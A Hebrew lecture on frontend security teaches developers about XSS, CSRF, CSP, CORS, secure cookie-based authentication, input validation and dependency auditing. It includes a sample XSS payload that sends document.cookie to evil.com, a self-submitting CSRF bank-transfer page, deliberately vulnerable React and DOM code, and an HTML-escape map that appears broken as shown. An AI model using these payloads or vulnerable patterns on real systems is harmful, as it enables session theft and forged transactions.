11.1 אבטחת פרונטאנד הרצאה
אבטחת פרונטאנד - Frontend Security¶
אבטחת מידע באפליקציות ווב היא אחד הנושאים החשובים ביותר בפיתוח מודרני. התקפות על צד הלקוח יכולות לחשוף מידע רגיש, לפגוע במשתמשים ולגרום נזק עסקי חמור. בשיעור זה נלמד על ההתקפות הנפוצות ביותר וכיצד למנוע אותן.
סקריפטים בין-אתריים - XSS (Cross-Site Scripting)¶
התקפת XSS מתרחשת כאשר תוקף מצליח להזריק קוד JavaScript זדוני לדף ווב שמוצג למשתמשים אחרים. זו אחת ההתקפות הנפוצות ביותר.
סוגי XSS¶
Stored XSS - הקוד הזדוני נשמר בשרת (למשל בתגובה בפורום) ומוצג לכל משתמש:
// דוגמה לקוד פגיע - הצגת תוכן מהשרת ללא סינון
function Comment({ comment }: { comment: { text: string } }) {
// לעולם אל תעשו את זה!
return <div dangerouslySetInnerHTML={{ __html: comment.text }} />;
}
// התוקף שומר תגובה עם תוכן זדוני:
// <script>document.location='https://evil.com/steal?cookie='+document.cookie</script>
Reflected XSS - הקוד הזדוני מגיע כחלק מה-URL ומוחזר בתגובת השרת:
DOM-based XSS - הקוד הזדוני מבוצע ישירות בצד הלקוח ללא מעורבות השרת:
// קוד פגיע - שימוש ב-URL ללא סינון
function SearchPage() {
const params = new URLSearchParams(window.location.search);
const query = params.get('q') || '';
// פגיע! הקלט מוזרק ישירות ל-DOM
document.getElementById('results')!.innerHTML = `תוצאות עבור: ${query}`;
return null;
}
מניעת XSS בריאקט¶
ריאקט מספקת הגנה מובנית מפני XSS - כל תוכן שמוזרק ל-JSX עובר אוטומטית sanitization:
function SafeComponent({ userInput }: { userInput: string }) {
// בטוח! ריאקט עושה escape אוטומטי
return <div>{userInput}</div>;
// אם userInput הוא "<script>alert('xss')</script>"
// ריאקט ימיר את זה ל: <script>alert('xss')</script>
}
השימוש המסוכן ב-dangerouslySetInnerHTML:
// אם חייבים להציג HTML - תמיד לסנן עם ספריית sanitization
import DOMPurify from 'dompurify';
function RichContent({ html }: { html: string }) {
const sanitizedHTML = DOMPurify.sanitize(html, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br', 'ul', 'li'],
ALLOWED_ATTR: ['href', 'target'],
});
return <div dangerouslySetInnerHTML={{ __html: sanitizedHTML }} />;
}
התקנת DOMPurify:
זיוף בקשות בין-אתריות - CSRF (Cross-Site Request Forgery)¶
התקפת CSRF מנצלת את האמון שיש לשרת בדפדפן של המשתמש. התוקף יוצר דף שמבצע בקשה לאתר היעד, והדפדפן מצרף אוטומטית את העוגיות של המשתמש.
כיצד CSRF עובד¶
<!-- דף זדוני של התוקף -->
<html>
<body>
<!-- הטופס הזה ישלח בקשה לבנק עם העוגיות של המשתמש -->
<form action="https://bank.com/transfer" method="POST" id="evil-form">
<input type="hidden" name="to" value="attacker-account" />
<input type="hidden" name="amount" value="10000" />
</form>
<script>document.getElementById('evil-form').submit();</script>
</body>
</html>
מניעת CSRF¶
שימוש ב-CSRF Tokens:
// השרת מייצר token ייחודי לכל session
// הלקוח שולח את ה-token בכל בקשה
async function makeSecureRequest(url: string, data: unknown) {
// קבלת ה-CSRF token מהשרת
const csrfToken = document.querySelector<HTMLMetaElement>(
'meta[name="csrf-token"]'
)?.content;
const response = await fetch(url, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': csrfToken || '',
},
credentials: 'include', // שליחת עוגיות
body: JSON.stringify(data),
});
return response.json();
}
הגדרת עוגיות עם SameSite:
// בשרת (Next.js API Route)
import { NextResponse } from 'next/server';
export async function POST(request: Request) {
const response = NextResponse.json({ success: true });
response.cookies.set('session', 'token-value', {
httpOnly: true, // מונע גישה מ-JavaScript
secure: true, // רק ב-HTTPS
sameSite: 'strict', // מונע שליחה מאתרים אחרים
maxAge: 60 * 60 * 24, // יום אחד
path: '/',
});
return response;
}
מדיניות אבטחת תוכן - Content Security Policy (CSP)¶
CSP הוא מנגנון שמאפשר לשרת להגדיר מאילו מקורות הדפדפן רשאי לטעון משאבים. זה מוסיף שכבת הגנה משמעותית מפני XSS.
// next.config.js - הגדרת CSP ב-Next.js
const nextConfig = {
async headers() {
return [
{
source: '/(.*)',
headers: [
{
key: 'Content-Security-Policy',
value: [
"default-src 'self'",
"script-src 'self' 'nonce-{NONCE}'",
"style-src 'self' 'unsafe-inline'",
"img-src 'self' data: https:",
"font-src 'self' https://fonts.gstatic.com",
"connect-src 'self' https://api.example.com",
"frame-ancestors 'none'",
"base-uri 'self'",
"form-action 'self'",
].join('; '),
},
],
},
];
},
};
module.exports = nextConfig;
הסבר ההנחיות העיקריות¶
- default-src - מקור ברירת מחדל לכל סוגי המשאבים
- script-src - מאילו מקורות ניתן לטעון סקריפטים
- style-src - מאילו מקורות ניתן לטעון סגנונות
- img-src - מאילו מקורות ניתן לטעון תמונות
- connect-src - לאילו כתובות ניתן לבצע בקשות (fetch, WebSocket)
- frame-ancestors - מי רשאי להטמיע את הדף ב-iframe
שיתוף משאבים בין מקורות - CORS (Cross-Origin Resource Sharing)¶
CORS הוא מנגנון שמאפשר לשרת לציין מאילו דומיינים אחרים ניתן לגשת למשאבים שלו.
מה זה Origin?¶
https://example.com:443/path
|______|____________|___|
protocol host port
// שני URLs עם אותו origin:
https://example.com/page1
https://example.com/page2
// origins שונים:
https://example.com
https://api.example.com // subdomain שונה
http://example.com // פרוטוקול שונה
https://example.com:8080 // פורט שונה
הגדרת CORS בשרת¶
// Next.js API Route עם CORS
import { NextRequest, NextResponse } from 'next/server';
const ALLOWED_ORIGINS = [
'https://myapp.com',
'https://staging.myapp.com',
];
export async function GET(request: NextRequest) {
const origin = request.headers.get('origin') || '';
const response = NextResponse.json({ data: 'some data' });
if (ALLOWED_ORIGINS.includes(origin)) {
response.headers.set('Access-Control-Allow-Origin', origin);
response.headers.set('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE');
response.headers.set('Access-Control-Allow-Headers', 'Content-Type, Authorization');
response.headers.set('Access-Control-Allow-Credentials', 'true');
response.headers.set('Access-Control-Max-Age', '86400');
}
return response;
}
// טיפול ב-preflight request
export async function OPTIONS(request: NextRequest) {
const origin = request.headers.get('origin') || '';
if (ALLOWED_ORIGINS.includes(origin)) {
return new NextResponse(null, {
status: 204,
headers: {
'Access-Control-Allow-Origin': origin,
'Access-Control-Allow-Methods': 'GET, POST, PUT, DELETE',
'Access-Control-Allow-Headers': 'Content-Type, Authorization',
'Access-Control-Allow-Credentials': 'true',
'Access-Control-Max-Age': '86400',
},
});
}
return new NextResponse(null, { status: 403 });
}
דפוסי אימות מאובטחים - Secure Authentication Patterns¶
אחסון טוקנים - היכן לשמור?¶
// לא מומלץ - localStorage חשוף להתקפות XSS
localStorage.setItem('token', 'my-jwt-token');
// לא מומלץ - sessionStorage גם חשוף
sessionStorage.setItem('token', 'my-jwt-token');
// מומלץ - HttpOnly Cookie (לא נגיש מ-JavaScript)
// ההגדרה נעשית בצד השרת:
// Set-Cookie: token=my-jwt-token; HttpOnly; Secure; SameSite=Strict
דפוס אימות מאובטח עם HttpOnly Cookies¶
// שירות אימות בצד הלקוח
const authService = {
async login(email: string, password: string) {
const response = await fetch('/api/auth/login', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
credentials: 'include', // חשוב! שולח ומקבל עוגיות
body: JSON.stringify({ email, password }),
});
if (!response.ok) {
throw new Error('Login failed');
}
// ה-token נשמר אוטומטית כ-HttpOnly cookie
return response.json();
},
async logout() {
await fetch('/api/auth/logout', {
method: 'POST',
credentials: 'include',
});
},
async getUser() {
const response = await fetch('/api/auth/me', {
credentials: 'include',
});
if (!response.ok) return null;
return response.json();
},
};
// Next.js API Route - Login
import { NextResponse } from 'next/server';
import { SignJWT } from 'jose';
export async function POST(request: Request) {
const { email, password } = await request.json();
// אימות המשתמש מול מסד הנתונים
const user = await authenticateUser(email, password);
if (!user) {
return NextResponse.json(
{ error: 'Invalid credentials' },
{ status: 401 }
);
}
// יצירת JWT
const token = await new SignJWT({ userId: user.id, role: user.role })
.setProtectedHeader({ alg: 'HS256' })
.setExpirationTime('1h')
.sign(new TextEncoder().encode(process.env.JWT_SECRET));
const response = NextResponse.json({ user: { id: user.id, name: user.name } });
// הגדרת העוגייה המאובטחת
response.cookies.set('auth-token', token, {
httpOnly: true,
secure: process.env.NODE_ENV === 'production',
sameSite: 'lax',
maxAge: 60 * 60, // שעה
path: '/',
});
return response;
}
רענון טוקנים - Refresh Token Pattern¶
// Middleware שבודק ומרענן טוקנים
import { NextRequest, NextResponse } from 'next/server';
export async function middleware(request: NextRequest) {
const authToken = request.cookies.get('auth-token')?.value;
const refreshToken = request.cookies.get('refresh-token')?.value;
if (!authToken && refreshToken) {
// ניסיון לרענן את הטוקן
try {
const response = await fetch(`${request.nextUrl.origin}/api/auth/refresh`, {
method: 'POST',
headers: { Cookie: `refresh-token=${refreshToken}` },
});
if (response.ok) {
const newResponse = NextResponse.next();
// העתקת העוגיות החדשות מהתגובה
const setCookie = response.headers.get('set-cookie');
if (setCookie) {
newResponse.headers.set('set-cookie', setCookie);
}
return newResponse;
}
} catch {
// הרענון נכשל - ניתוב להתחברות
}
return NextResponse.redirect(new URL('/login', request.url));
}
if (!authToken) {
return NextResponse.redirect(new URL('/login', request.url));
}
return NextResponse.next();
}
סניטציה ואימות קלט - Input Sanitization and Validation¶
אימות בצד הלקוח עם Zod¶
import { z } from 'zod';
const userInputSchema = z.object({
name: z
.string()
.min(2, 'שם חייב להכיל לפחות 2 תווים')
.max(50, 'שם לא יכול להכיל יותר מ-50 תווים')
.regex(/^[\p{L}\s'-]+$/u, 'שם יכול להכיל רק אותיות, רווחים ומקפים'),
email: z
.string()
.email('כתובת אימייל לא תקינה')
.toLowerCase(),
age: z
.number()
.int('גיל חייב להיות מספר שלם')
.min(13, 'גיל מינימלי הוא 13')
.max(120, 'גיל לא תקין'),
website: z
.string()
.url('כתובת URL לא תקינה')
.optional(),
bio: z
.string()
.max(500, 'ביוגרפיה לא יכולה לעלות על 500 תווים')
.transform((val) => val.replace(/<[^>]*>/g, '')) // הסרת תגיות HTML
.optional(),
});
type UserInput = z.infer<typeof userInputSchema>;
// שימוש באימות
function validateUserInput(data: unknown): UserInput {
return userInputSchema.parse(data);
}
סניטציה של פלט¶
// פונקציית escape בסיסית
function escapeHTML(str: string): string {
const escapeMap: Record<string, string> = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": ''',
};
return str.replace(/[&<>"']/g, (char) => escapeMap[char]);
}
// סניטציה של URLs - מניעת javascript: protocol
function sanitizeURL(url: string): string {
try {
const parsed = new URL(url);
if (!['http:', 'https:', 'mailto:'].includes(parsed.protocol)) {
return '#';
}
return parsed.toString();
} catch {
return '#';
}
}
// שימוש בקומפוננטה
function SafeLink({ href, children }: { href: string; children: React.ReactNode }) {
return (
<a href={sanitizeURL(href)} rel="noopener noreferrer">
{children}
</a>
);
}
HTTPS וכותרות אבטחה - HTTPS and Security Headers¶
כותרות אבטחה חשובות¶
// next.config.js - הוספת כותרות אבטחה
const securityHeaders = [
{
// מונע מהדפדפן לנחש את סוג התוכן
key: 'X-Content-Type-Options',
value: 'nosniff',
},
{
// מונע הצגת האתר ב-iframe (הגנה מפני clickjacking)
key: 'X-Frame-Options',
value: 'DENY',
},
{
// מפעיל מצב XSS filtering בדפדפנים ישנים
key: 'X-XSS-Protection',
value: '1; mode=block',
},
{
// מאלץ HTTPS
key: 'Strict-Transport-Security',
value: 'max-age=63072000; includeSubDomains; preload',
},
{
// שולט במידע שנשלח ב-Referer header
key: 'Referrer-Policy',
value: 'strict-origin-when-cross-origin',
},
{
// שולט בגישה ל-APIs של הדפדפן
key: 'Permissions-Policy',
value: 'camera=(), microphone=(), geolocation=(self), interest-cohort=()',
},
];
const nextConfig = {
async headers() {
return [
{
source: '/(.*)',
headers: securityHeaders,
},
];
},
};
module.exports = nextConfig;
אבטחת תלויות - npm audit and Dependency Security¶
בדיקת פגיעויות¶
# בדיקת פגיעויות בתלויות
npm audit
# תיקון אוטומטי של פגיעויות
npm audit fix
# תיקון שעלול לשבור תאימות (שדרוג major versions)
npm audit fix --force
# הצגת דוח מפורט
npm audit --json
כלים לאבטחת תלויות¶
# התקנת Snyk לסריקת פגיעויות
npm install -g snyk
snyk test
# שימוש ב-Socket.dev לזיהוי חבילות זדוניות
# (מותקן כ-GitHub App)
שיטות עבודה מומלצות¶
// package.json - נעילת גרסאות
{
"dependencies": {
"react": "18.2.0",
"next": "14.1.0"
},
"overrides": {
"vulnerable-package": "2.0.1"
}
}
// .npmrc - הגדרות אבטחה
// ignore-scripts=true // מונע הרצת סקריפטים אחרי התקנה
// audit=true // בדיקת אבטחה אוטומטית בכל npm install
בדיקת אבטחה אוטומטית ב-CI¶
# .github/workflows/security.yml
name: Security Audit
on:
schedule:
- cron: '0 0 * * 1' # כל יום שני
push:
branches: [main]
jobs:
audit:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
with:
node-version: '20'
- run: npm ci
- run: npm audit --audit-level=high
- name: Run Snyk
uses: snyk/actions/node@master
env:
SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}
רשימת בדיקת אבטחה - Security Checklist¶
להלן רשימה של בדיקות אבטחה שכדאי לבצע בכל פרויקט:
- אין שימוש ב-dangerouslySetInnerHTML ללא סניטציה
- כל הקלט מאומת בצד הלקוח ובצד השרת
- טוקנים נשמרים ב-HttpOnly cookies ולא ב-localStorage
- מוגדרות כותרות אבטחה (CSP, HSTS, X-Frame-Options)
- CORS מוגדר עם רשימת origins מפורשת (לא wildcard)
- כל הבקשות ב-HTTPS
- פגיעויות בתלויות נבדקות באופן שוטף
- אין חשיפת מידע רגיש בקוד הלקוח (API keys, secrets)
- ניהול שגיאות לא חושף מידע טכני למשתמש
- הגנת CSRF מופעלת בכל הטפסים
סיכום¶
בשיעור זה למדנו על:
- XSS - סוגי התקפות וכיצד ריאקט מגנה עלינו, שימוש ב-DOMPurify כשצריך HTML
- CSRF - כיצד ההתקפה עובדת ומניעה באמצעות טוקנים ו-SameSite cookies
- CSP - מדיניות שמגבילה מאילו מקורות ניתן לטעון משאבים
- CORS - שיתוף משאבים בין דומיינים בצורה מבוקרת
- אימות מאובטח - שימוש ב-HttpOnly cookies, רענון טוקנים
- סניטציה ואימות - Zod לאימות, DOMPurify לסניטציה
- כותרות אבטחה - הגנות נוספות ברמת HTTP
- אבטחת תלויות - npm audit וסריקה אוטומטית
אבטחה היא לא דבר חד-פעמי - זהו תהליך מתמשך שצריך להיות חלק מכל שלב בפיתוח.